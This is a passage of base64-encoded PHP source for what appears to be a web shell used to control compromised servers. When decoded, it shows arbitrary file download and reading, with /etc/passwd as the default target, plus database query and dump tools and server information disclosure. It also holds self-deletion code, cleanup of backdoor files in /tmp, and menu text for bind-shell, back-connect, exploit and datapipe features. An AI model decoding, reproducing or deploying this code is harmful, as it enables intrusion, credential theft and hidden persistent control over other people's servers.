ZGRzbGFzaGVzKCR2KTt9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUu JyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUo IicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNh c2UgJ09yYWNsZSc6DQogICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBPUkFDTEUgZHVtcCc7DQogICAg ICAkdGhpcy0+ZHVtcFtdICA9ICcjIyB1bmRlciBjb25zdHJ1Y3Rpb24nOw0KICAgIGJyZWFrOw0KICAg IGRlZmF1bHQ6DQogICAgIHJldHVybiAwOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAxOw0K ICB9DQogZnVuY3Rpb24gY2xvc2UoKQ0KICB7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAg CWNhc2UgJ015U1FMJzoNCiAgCSBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgIGJy ZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9u KTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgQHBnX2Nsb3NlKCR0aGlz LT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBAb2NpX2Ns b3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiBmdW5jdGlvbiBh ZmZlY3RlZF9yb3dzKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdN eVNRTCc6DQogIAkgcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJy ZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0 aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4g QHBnX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xl JzoNCiAgICAgcmV0dXJuIEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBk ZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiB9DQppZighZW1w

dHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0 eSgkX1BPU1RbJ2RfbmFtZSddKSkNCiB7DQogIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydkX25hbWUn XSwiciIpKSB7IGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogIGVs c2UNCiAgIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NU WydkX25hbWUnXSk7DQogICAgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1Rb J2RfbmFtZSddKSk7DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAkY29udGVudF9lbmNvZGluZz0kbWlt ZV90eXBlPScnOw0KICAgIGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVz cyddKTsNCiAgICBpZiAoIWVtcHR5KCRjb250ZW50X2VuY29kaW5nKSkgeyBoZWFkZXIoJ0NvbnRlbnQt RW5jb2Rpbmc6ICcgLiAkY29udGVudF9lbmNvZGluZyk7IH0NCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlw ZTogIi4kbWltZV90eXBlKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1l bnQ7IGZpbGVuYW1lPVwiIi4kZmlsZW5hbWUuIlwiOyIpOw0KICAgIGVjaG8gJGZpbGVkdW1wOw0KICAg IGV4aXQoKTsNCiAgIH0NCiB9DQppZihpc3NldCgkX0dFVFsncGhwaW5mbyddKSkgeyBlY2hvIEBwaHBp bmZvKCk7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0t Mj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250 PjwvZGl2PiI7IGRpZSgpOyB9DQppZiAoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21k J109PSJkYl9xdWVyeSIpDQogew0KIGVjaG8gJGhlYWQ7DQogJHNxbCA9IG5ldyBteV9zcWwoKTsNCiAk c3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlcidd Ow0KICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiAkc3FsLT51c2VyID0gJF9QT1NUWydt eXNxbF9sJ107DQogJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICRzcWwtPmJhc2UgPSAk X1BPU1RbJ215c3FsX2RiJ107DQogJHF1ZXJ5cyA9IEBleHBsb2RlKCc7JywkX1BPU1RbJ2RiX3F1ZXJ5 J10pOw0KIGVjaG8gJzxib2R5IGJnY29sb3I9QmxhY2s+JzsNCiBpZighJHNxbC0+Y29ubmVjdCgpKSBl Y2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0 ZT48Yj5DYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7DQogIGVsc2UN CiAgIHsNCiAgIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8 ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5D YW4ndCBzZWxlY3QgZGF0YWJhc2U8L2I+PC9mb250PjwvZGl2PiI7DQogICBlbHNlDQogICAgew0KICAg IGZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpDQogICAgIHsNCiAgICAgIGlmKHN0cmxlbigk cXVlcnkpPjUpDQogICAgICB7DQogICAgICBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBj b2xvcj1XaGl0ZT48Yj5RdWVyeSMiLiRudW0uIiA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5U X1FVT1RFUykuIjwvYj48L2ZvbnQ+PGJyPiI7DQogICAgICBzd2l0Y2goJHNxbC0+cXVlcnkoJHF1ZXJ5 KSkNCiAgICAgICB7DQogICAgICAgY2FzZSAnMCc6DQogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEw MCU+PHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPkVycm9yIDogPGI+ Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgIGJyZWFr Ow0KICAgICAgIGNhc2UgJzEnOg0KICAgICAgIGlmKCRzcWwtPmdldF9yZXN1bHQoKSkNCiAgICAgICAg ew0KICAgICAgIAllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBib3JkZXI9MCBjZWxscGFkZGluZz0wIGNl bGxzcGFjaW5nPTA+IjsNCiAgICAgICAgZm9yZWFjaCgkc3FsLT5jb2x1bW5zIGFzICRrPT4kdikgJHNx bC0+Y29sdW1uc1ska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOw0KICAgICAgIAkk a2V5cyA9IEBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQg ZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7IiwgJHNxbC0+Y29sdW1ucyk7DQogICAgICAgIGVj aG8gIjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPVdoaXRlPjxmb250IGZhY2U9VmVyZGFuYSBzaXpl PS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7DQogICAgICAg IGZvcigkaT0wOyRpPCRzcWwtPm51bV9yb3dzOyRpKyspDQogICAgICAgICB7DQogICAgICAgICBmb3Jl YWNoKCRzcWwtPnJvd3NbJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdID0gaHRtbHNwZWNp YWxjaGFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAgICR2YWx1ZXMgPSBAaW1wbG9kZSgiJm5ic3A7 PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7 Iiwkc3FsLT5yb3dzWyRpXSk7DQogICAgICAgICBlY2hvICc8dHI+PHRkIGNsYXNzPW1haW4+PGZvbnQg ZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3Ry Pic7DQogICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAg IGJyZWFrOw0KICAgICAgIGNhc2UgJzInOg0KICAgICAgICRhciA9ICRzcWwtPmFmZmVjdGVkX3Jvd3Mo KT8oJHNxbC0+YWZmZWN0ZWRfcm93cygpKTooJzAnKTsNCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9 MTAwJT48dHI+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+YWZmZWN0ZWQg cm93cyA6IDxiPiIuJGFyLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgICAg IGJyZWFrOw0KICAgICAgIH0NCiAgICAgIH0NCiAgICAgfQ0KICAgIH0NCiAgICBlY2hvICI8YnI+PGRp diBhbGlnbj1sZWZ0IGlkPSduJz48dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9NjAgYm9yZGVyPTAgY2Vs bHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7DQogICAgZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+ PGI+U2hvdyBEYXRhYmFzZTwvYj48L3RkPjx0ZCBhbGlnbj1jZW50ZXI+PGI+U2hvdyBUYWJsZXM8L2I+ PC90ZD48L3RyPiI7DQogICAgZWNobyAiPHRyPjx0ZD48dGV4dGFyZWEgY29scz01MCByb3dzPTYgbmFt ZT1xdWVyeV9kYj4iOw0KICAgICRxdWVyeV9kYiA9IG15c3FsX3F1ZXJ5KCJTSE9XIERBVEFCQVNFUzsi KTsNCiAgICB3aGlsZSAoJHF1ZXJ5X2RiX3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9kYikp DQogICAgew0KICAgIAllY2hvICRxdWVyeV9kYl9yb3dbMF0uIlxuIjsNCiAgICB9DQogICAgZWNobyAi

PC90ZXh0YXJlYT48L3RkPjx0ZD48ZGl2IGFsaWduPXJpZ2h0Pjx0ZXh0YXJlYSBjb2xzPTYwIHJvd3M9 NiBuYW1lPXF1ZXJ5X3RhYmxlcz4iOw0KICAgIGlmICgoJF9QT1NUWydteXNxbF9kYiddKSAmJiAkc3Fs LT5zZWxlY3RfZGIoKSkNCiAgICB7DQogICAgICRxdWVyeV90YWJsZXMgPSBteXNxbF9xdWVyeSgiU0hP VyBUQUJMRVM7Iik7DQogICAgIHdoaWxlICgkcXVlcnlfdGFibGVzX3JvdyA9IG15c3FsX2ZldGNoX2Fy cmF5KCRxdWVyeV90YWJsZXMpKQ0KICAgICB7DQogICAgIAllY2hvICRxdWVyeV90YWJsZXNfcm93WzBd LiJcbiI7DQogICAgIH0NCiAgICB9DQogICAgZWNobyAiPC90ZXh0YXJlYT48L2Rpdj48L3RkPjwvdHI+ PC90YWJsZT48L2Rpdj4iOw0KICAgfQ0KIGVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBP U1Q+IjsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYicsMCwkX1BPU1RbJ2RiJ10pOw0KIGVjaG8gaW4oJ2hp ZGRlbicsJ2RiX3NlcnZlcicsMCwkX1BPU1RbJ2RiX3NlcnZlciddKTsNCiBlY2hvIGluKCdoaWRkZW4n LCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9s JywwLCRfUE9TVFsnbXlzcWxfbCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9wJywwLCRfUE9T VFsnbXlzcWxfcCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3Fs X2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKTsNCiBlY2hvICI8ZGl2 IGFsaWduPWNlbnRlcj4iOw0KIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlVzZSBk YXRhYmFzZTogPC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1teXNxbF9kYiB2YWx1ZT1cIiIuJHNxbC0+ YmFzZS4iXCI+PC9mb250Pjxicj4iOw0KIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFt ZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSdd KTooIlNIT1cgREFUQUJBU0VTOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5h bWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOw0KIGVjaG8g IjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkxvYWQgZmlsZTog PC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2FkZmlsZSBzaXplPTEwMCB2YWx1ZT0iLighZW1wdHko JF9QT1NUWydsb2FkZmlsZSddKT8oJF9QT1NUWydsb2FkZmlsZSddKTooIi9ldGMvcGFzc3dkIikpLiI+ Ii53cygyKS4iPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIExvYWQgXCI+PGJy IC8+PGJyIC8+IjsNCiBlY2hvICI8Yj5GaWxlIGNvbnRlbnQ8L2I+PGJyPjxicj4iOw0KIGVjaG8gIjx0 ZXh0YXJlYSBjb2xzPTEyMSByb3dzPTE1IG5hbWU9c2hvd2xvYWRmaWxlPiI7DQogQG15c3FsX3F1ZXJ5 KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBBbHVjYXIiKTsNCiBAbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJM RSBgQWx1Y2FyYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApIik7DQogQG15c3FsX3F1ZXJ5KCJM T0FEIERBVEEgTE9DQUwgSU5GSUxFIFwiIi5zdHJfcmVwbGFjZSgnXFwnLCcvJywkX1BPU1RbJ2xvYWRm aWxlJ10pLiJcIiBJTlRPIFRBQkxFIEFsdWNhciBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnJyBFU0NBUEVE IEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ1xuJyIpOw0KICRyID0gQG15c3FsX3F1ZXJ5KCJTRUxF Q1QgKiBGUk9NIEFsdWNhciIpOw0KIHdoaWxlKCgkcl9zcWwgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHIp KSkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRyX3NxbFswXSk7IH0NCiBAbXlzcWxfcXVlcnkoIkRS T1AgVEFCTEUgSUYgRVhJU1RTIEFsdWNhciIpOw0KIGVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+IjsNCiBl Y2hvICI8L2Zvcm0+IjsNCiBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJk YW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBd PC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnZGVsZXRlJ10pKQ0K IHsNCiAgIEB1bmxpbmsoX19GSUxFX18pOw0KIH0NCmlmKGlzc2V0KCRfR0VUWyd0bXAnXSkpDQogew0K ICAgQHVubGluaygiL3RtcC9iZHBsIik7DQogICBAdW5saW5rKCIvdG1wL2JhY2siKTsNCiAgIEB1bmxp bmsoIi90bXAvYmQiKTsNCiAgIEB1bmxpbmsoIi90bXAvYmQuYyIpOw0KICAgQHVubGluaygiL3RtcC9k cCIpOw0KICAgQHVubGluaygiL3RtcC9kcGMiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHBjLmMiKTsNCiB9 DQppZihpc3NldCgkX0dFVFsncGhwaW5pJ10pKQ0Kew0KZWNobyAkaGVhZDsNCmZ1bmN0aW9uIFVfdmFs dWUoJHZhbHVlKQ0KIHsNCiBpZiAoJHZhbHVlID09ICcnKSByZXR1cm4gJzxpPm5vIHZhbHVlPC9pPic7 DQogaWYgKEBpc19ib29sKCR2YWx1ZSkpIHJldHVybiAkdmFsdWUgPyAnVFJVRScgOiAnRkFMU0UnOw0K IGlmICgkdmFsdWUgPT09IG51bGwpIHJldHVybiAnTlVMTCc7DQogaWYgKEBpc19vYmplY3QoJHZhbHVl KSkgJHZhbHVlID0gKGFycmF5KSAkdmFsdWU7DQogaWYgKEBpc19hcnJheSgkdmFsdWUpKQ0KIHsNCiBA b2Jfc3RhcnQoKTsNCiBwcmludF9yKCR2YWx1ZSk7DQogJHZhbHVlID0gQG9iX2dldF9jb250ZW50cygp Ow0KIEBvYl9lbmRfY2xlYW4oKTsNCiB9DQogcmV0dXJuIFVfd29yZHdyYXAoKHN0cmluZykgJHZhbHVl KTsNCiB9DQpmdW5jdGlvbiBVX3dvcmR3cmFwKCRzdHIpDQogew0KICRzdHIgPSBAd29yZHdyYXAoQGh0 bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsNCiByZXR1cm4gQHByZWdf cmVwbGFjZSgnISgmW147XSopPHdiciAvPihbXjtdKjspIScsICckMSQyPHdiciAvPicsICRzdHIpOw0K IH0NCmlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKQ0KIHsNCiAkciA9ICcnOw0KIGVj aG8gJzx0YWJsZSB3aWR0aD0xMDAlPicsICc8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5 Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2VudGVyPjxi PkRpcmVjdGl2ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPSM4M2M4 MDk+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGRpdiBhbGlnbj1jZW50ZXI+ PGI+TG9jYWwgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0j ODNjODA5Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2Vu dGVyPjxiPk1hc3RlciBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogZm9yZWFjaCAo QGluaV9nZXRfYWxsKCkgYXMgJGtleT0+JHZhbHVlKQ0KICB7DQogICRyIC49ICc8dHI+PHRkIGNsYXNz PW1haW4+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy4ka2V5Lic8L2I+PC9m

b250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGln bj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2Zv bnQ+PC90ZD48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWdu PWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydnbG9iYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2Zv bnQ+PC90ZD48L3RyPic7DQogIH0NCiBlY2hvICRyOw0KIGVjaG8gJzwvdGFibGU+JzsNCiB9DQplY2hv ICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBo cmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0K ZGllKCk7DQp9DQppZihpc3NldCgkX0dFVFsnY3B1J10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBl Y2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48ZGl2 IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5DUFU8 L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAk Y3B1ZiA9IEBmaWxlKCJjcHVpbmZvIik7DQogICBpZigkY3B1ZikNCiAgICB7DQogICAgICAkYyA9IEBz aXplb2YoJGNwdWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAg ICAgICRpbmZvID0gQGV4cGxvZGUoIjoiLCRjcHVmWyRpXSk7DQogICAgICAgICAgaWYoJGluZm9bMV09 PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0NCiAgICAgICAgICAkciAuPSAnPHRyPjx0ZCBjbGFzcz1tYWlu Picud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwv Yj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2 IGFsaWduPWNlbnRlcj48Yj4nLnRyaW0oJGluZm9bMV0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90 cj4nOw0KICAgICAgICB9DQogICAgICBlY2hvICRyOw0KICAgIH0NCiAgIGVsc2UNCiAgICB7DQogICAg ICBlY2hvICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQg ZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOw0K ICAgIH0NCiAgIGVjaG8gJzwvdGFibGU+JzsNCiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48 Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYn XS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBkaWUoKTsNCiB9DQppZihpc3NldCgk X0dFVFsnbWVtJ10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAw JT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBm YWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5NRU1PUlk8L2I+PC9mb250PjwvZGl2Pjwv dGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkbWVtZiA9IEBmaWxlKCJtZW1p bmZvIik7DQogICBpZigkbWVtZikNCiAgICB7DQogICAgICAkYyA9IHNpemVvZigkbWVtZik7DQogICAg ICBmb3IoJGk9MDskaTwkYzskaSsrKQ0KICAgICAgICB7DQogICAgICAgICAgJGluZm8gPSBleHBsb2Rl KCI6IiwkbWVtZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0i OyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8Zm9udCBmYWNl PVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkIGNs YXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50 cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAg ICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZCBjbGFz cz1tYWluPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0y PjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3Rh YmxlPic7DQogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNp emU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwv Zm9udD48L2Rpdj4iOw0KICAgZGllKCk7DQogfQ0KJGxhbmc9YXJyYXkoDQovKiAtLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCidlbmdf dGV4dDEnID0+J0V4ZWN1dGVkIGNvbW1hbmQnLA0KJ2VuZ190ZXh0MicgPT4nRXhlY3V0ZSBjb21tYW5k IG9uIHNlcnZlcicsDQonZW5nX3RleHQzJyA9PidSdW4gY29tbWFuZCcsDQonZW5nX3RleHQ0JyA9PidX b3JrIGRpcmVjdG9yeScsDQonZW5nX3RleHQ1JyA9PidVcGxvYWQgZmlsZXMgb24gc2VydmVyJywNCidl bmdfdGV4dDYnID0+J0xvY2FsIGZpbGUnLA0KJ2VuZ190ZXh0NycgPT4nQWxpYXNlcycsDQonZW5nX3Rl eHQ4JyA9PidTZWxlY3QgYWxpYXMnLA0KJ2VuZ19idXR0MScgPT4nRXhlY3V0ZScsDQonZW5nX2J1dHQy JyA9PidVcGxvYWQnLA0KJ2VuZ190ZXh0OScgPT4nQmluZCBwb3J0IHRvIC9iaW4vYmFzaCcsDQonZW5n X3RleHQxMCc9PidQb3J0JywNCidlbmdfdGV4dDExJz0+J1Bhc3N3b3JkIGZvciBhY2Nlc3MnLA0KJ2Vu Z19idXR0MycgPT4nQmluZCcsDQonZW5nX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLA0KJ2VuZ190ZXh0 MTMnPT4nSVAnLA0KJ2VuZ190ZXh0MTQnPT4nUG9ydCcsDQonZW5nX2J1dHQ0JyA9PidDb25uZWN0JywN CidlbmdfdGV4dDE1Jz0+J1VwbG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBzZXJ2ZXInLA0KJ2VuZ190ZXh0 MTYnPT4nV2l0aCcsDQonZW5nX3RleHQxNyc9PidSZW1vdGUgZmlsZScsDQonZW5nX3RleHQxOCc9PidM b2NhbCBmaWxlJywNCidlbmdfdGV4dDE5Jz0+J0V4cGxvaXRzJywNCidlbmdfdGV4dDIwJz0+J1VzZScs DQonZW5nX3RleHQyMSc9PicmbmJzcDtOZXcgbmFtZScsDQonZW5nX3RleHQyMic9PidkYXRhcGlwZScs DQonZW5nX3RleHQyMyc9PidMb2NhbCBwb3J0JywNCidlbmdfdGV4dDI0Jz0+J1JlbW90ZSBob3N0JywN CidlbmdfdGV4dDI1Jz0+J1JlbW90ZSBwb3J0JywNCidlbmdfdGV4dDI2Jz0+J1VzZScsDQonZW5nX2J1 